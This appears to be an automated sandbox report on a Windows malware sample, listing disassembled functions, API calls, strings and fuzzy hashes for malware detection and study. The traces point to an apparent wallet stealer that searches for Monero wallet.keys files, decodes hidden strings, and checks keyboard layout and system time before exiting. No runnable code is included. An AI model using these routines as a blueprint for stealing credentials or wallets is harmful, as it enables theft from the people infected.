Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: c53798f54046834b87905fa73ca9c8feef32ceef3b56b2b472f50c2863ec3cc5
Instruction ID: 85de402a5d5259f2ac0153dabeb4fc47fdde89d5df418d0395cf814bb94377e4
Opcode Fuzzy Hash: c53798f54046834b87905fa73ca9c8feef32ceef3b56b2b472f50c2863ec3cc5
Instruction Fuzzy Hash: F712D075A10219DBEB56FB60DC94EEE7378AF64300F404199A58A670D0EF746F89CFA0

Function 00FFDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,01010C2E), ref: 00FFDE5E
StrCmpCA.SHLWAPI(?,010114C8), ref: 00FFDEAE
StrCmpCA.SHLWAPI(?,010114CC), ref: 00FFDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFE3E0
FindClose.KERNEL32(000000FF), ref: 00FFE3F2

Strings

\*.*, xrefs: 00FFDE26

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 963ef409ef9249257a234042504c2c41cc53d9f73510c57ba2b2145c18af6d9a
Instruction ID: 523a2e0a64c42a58af66b765ece01038cebdc2ecf99915dcac718791d781b4e0
Opcode Fuzzy Hash: 963ef409ef9249257a234042504c2c41cc53d9f73510c57ba2b2145c18af6d9a
Instruction Fuzzy Hash: CBF18075A14219DAEB5AEB60DD94EEE7338BF34300F4041DA958A670D0EF346B89CF61

Function 00FFDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,010114B0,01010C2A), ref: 00FFDAEB
StrCmpCA.SHLWAPI(?,010114B4), ref: 00FFDB33
StrCmpCA.SHLWAPI(?,010114B8), ref: 00FFDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFDDCC
FindClose.KERNEL32(000000FF), ref: 00FFDDDE

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 5111f1c9e07b8de66f1ae491ebca2a42f9055e0fe6198efbe30cf92ceb9078a9
Instruction ID: c0951c58ca9d7222c39c7b6f3941dd8d0e790f6deb46d0ebc07b1967d74a206d
Opcode Fuzzy Hash: 5111f1c9e07b8de66f1ae491ebca2a42f9055e0fe6198efbe30cf92ceb9078a9
Instruction Fuzzy Hash: 4C912472A00209D7DB15FB70EC59EFD737DAFA4300F408568A98A97194EF349B0D9B91

Function 01007B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

GetKeyboardLayoutList.USER32(00000000,00000000,010105AF), ref: 01007BE1
LocalAlloc.KERNEL32(00000040,?), ref: 01007BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 01007C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 01007C62
LocalFree.KERNEL32(00000000), ref: 01007D22

Strings

/ , xrefs: 01007C7F

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: e44b0bc819153edc9ea71da33178dc596861b042516fdc9f58d6a5039cb41c2f
Instruction ID: badf8168a4f3360b944052f8533888ae318d2f06be4b117898c7eae3424e6219
Opcode Fuzzy Hash: e44b0bc819153edc9ea71da33178dc596861b042516fdc9f58d6a5039cb41c2f
Instruction Fuzzy Hash: B2412A71A40219EBEB25DB94DC98FEEB7B8FB54700F104199E14AA7180DB342F85CFA0

Function 013BA46F Relevance: 10.4, Strings: 7, Instructions: 1605COMMON

Download Yara Rule

Strings

27En, xrefs: 013BA670
i~z, xrefs: 013BB25A
c4u, xrefs: 013BA790
11^{, xrefs: 013BADDA
mw, xrefs: 013BA70C
?~, xrefs: 013BB1A1
Q*:{, xrefs: 013BAD78

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 11^{$27En$Q*:{$c4u$?~$i~z$mw
API String ID: 0-1993698918
Opcode ID: 3e8be39040764fdbdbb4199daf823cbf813554e05f3e1c82ca868719f2674e87
Instruction ID: f38a4d46240040ac4e053d52b42f2fae22d7f6de5f560b087bf467db48fd1ca8
Opcode Fuzzy Hash: 3e8be39040764fdbdbb4199daf823cbf813554e05f3e1c82ca868719f2674e87
Instruction Fuzzy Hash: FEB24AF360C2049FE3046E2DEC8567ABBE6EF94720F1A493DEAC4C7744EA3558058697

Function 00FFE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,01010D73), ref: 00FFE4A2
StrCmpCA.SHLWAPI(?,010114F8), ref: 00FFE4F2
StrCmpCA.SHLWAPI(?,010114FC), ref: 00FFE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFEBDF

Strings

\*.*, xrefs: 00FFE44D

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 186747bf3344839a4bfe73d4d3bab7b9bacc51df0ec0cd12bc1090c4242b06b4
Instruction ID: 61501fa770ffc68648f9b795dfb49909ea11df0914c374754c15f6f3da14f74c
Opcode Fuzzy Hash: 186747bf3344839a4bfe73d4d3bab7b9bacc51df0ec0cd12bc1090c4242b06b4
Instruction Fuzzy Hash: 72122371B10219DAEB16FB70DD95EED7338AF64300F4041A9A58A970D0EF346F49CBA1

Function 013CADF2 Relevance: 9.1, Strings: 6, Instructions: 1623COMMON

Download Yara Rule

Strings

}iv!, xrefs: 013CC0BD
^]oW, xrefs: 013CB05E
i^m, xrefs: 013CB7B7
34EW, xrefs: 013CC182
}iv!, xrefs: 013CC0B2
P3y, xrefs: 013CB460

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 34EW$P3y$^]oW$}iv!$}iv!$i^m
API String ID: 0-3732504080
Opcode ID: dc9b05953588d1b5895ce5bec05e5b3e10d99be6bf0c2eecf0cdb289f9eece47
Instruction ID: 19be22cab2ac5ed6c622ae2e6143b7e374cda63d7c69ec2512f7ec2322a1d751
Opcode Fuzzy Hash: dc9b05953588d1b5895ce5bec05e5b3e10d99be6bf0c2eecf0cdb289f9eece47
Instruction Fuzzy Hash: 46B207F3A0C2149FD7046E2DEC8567ABBE9EF94720F1A493DEAC4C7744E63558008796

Function 013BDAF0 Relevance: 9.1, Strings: 6, Instructions: 1564COMMON

Download Yara Rule

Strings

r3, xrefs: 013BE551
7W-M, xrefs: 013BE0A8
]WU, xrefs: 013BE90A
.tSZ, xrefs: 013BE237
aln{, xrefs: 013BEC16
w+w, xrefs: 013BDF58

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .tSZ$7W-M$]WU$aln{$w+w$r3
API String ID: 0-3914464318
Opcode ID: b850f16eeb641383f7aaaee50cbccd7c6136bd74b92fb7c4b1e14c50ec8cbea4
Instruction ID: 508198f73692b7fda417e121d6fa5cb18ad814a762f598a3da98b462b225566b
Opcode Fuzzy Hash: b850f16eeb641383f7aaaee50cbccd7c6136bd74b92fb7c4b1e14c50ec8cbea4
Instruction Fuzzy Hash: 43B2D4F360C200AFE308AE29EC8567AFBE9EF94720F16493DE6C587740E63558518797

Function 013C4994 Relevance: 8.6, Strings: 6, Instructions: 1123COMMON

Download Yara Rule

Strings

`^?=, xrefs: 013C4E19
7n_, xrefs: 013C4D5D
sp_}, xrefs: 013C4BED
Qaa, xrefs: 013C4FB6
*3.R, xrefs: 013C55F4
2Z?[, xrefs: 013C4B01

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *3.R$2Z?[$7n_$Qaa$`^?=$sp_}
API String ID: 0-3093853941
Opcode ID: 3e1e5a57e6e5e8d855aa18a8fc608bac59d5567d4aaa752456d689b022894747
Instruction ID: 2d535091cb1ccbed8aaff5d2406155b47c1c6451a374ed8f2d991ee13e1f4fa7
Opcode Fuzzy Hash: 3e1e5a57e6e5e8d855aa18a8fc608bac59d5567d4aaa752456d689b022894747
Instruction Fuzzy Hash: 877208F36082049FE304AE2DEC8577ABBE9EF94720F1A453DEAC4C7744E63598058697

Function 013C0F20 Relevance: 7.9, Strings: 5, Instructions: 1608COMMON

Download Yara Rule

Strings

Y-]~, xrefs: 013C13C0
P({, xrefs: 013C1879
S1~+, xrefs: 013C11CA
8@@", xrefs: 013C0FDC
qS?o, xrefs: 013C11B4

Memory Dump Source

Source File: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 8@@"$P({$S1~+$Y-]~$qS?o
API String ID: 0-2724045608
Opcode ID: 81428c76408294c6e559e17ce109a2c035f1087437f137d535df0399946ccbef
Instruction ID: dd9a6cf3c61c9e86aec2c6188c62c4ea64f48ecabe8bbecbc77cb7ddcb9ce341
Opcode Fuzzy Hash: 81428c76408294c6e559e17ce109a2c035f1087437f137d535df0399946ccbef
Instruction Fuzzy Hash: 4FB2F6F3A0C2109FE304AE2DEC85A7AB7E5EFD4720F1A893DE6C4C7744E63558058696

Function 00FFC820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00FFC871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00FFC87C
lstrcat.KERNEL32(?,01010B46), ref: 00FFC943
lstrcat.KERNEL32(?,01010B47), ref: 00FFC957
lstrcat.KERNEL32(?,01010B4E), ref: 00FFC978

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 6ef07471206c424d721999c1e671996d041b059f5c94d998f797857863883017
Instruction ID: 3e806366da9f3beb4a3479076ea85cc39a05c58f9bbb171b0c03b0eb2b4b3b50
Opcode Fuzzy Hash: 6ef07471206c424d721999c1e671996d041b059f5c94d998f797857863883017
Instruction Fuzzy Hash: 1F418F7590421EDFCB20CF90D989BFEB7B8BF44304F1041A8E509A7284D7745A84DF91

Function 01006920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0100696C
sscanf.NTDLL ref: 01006999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 010069B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 010069C0
ExitProcess.KERNEL32 ref: 010069DA

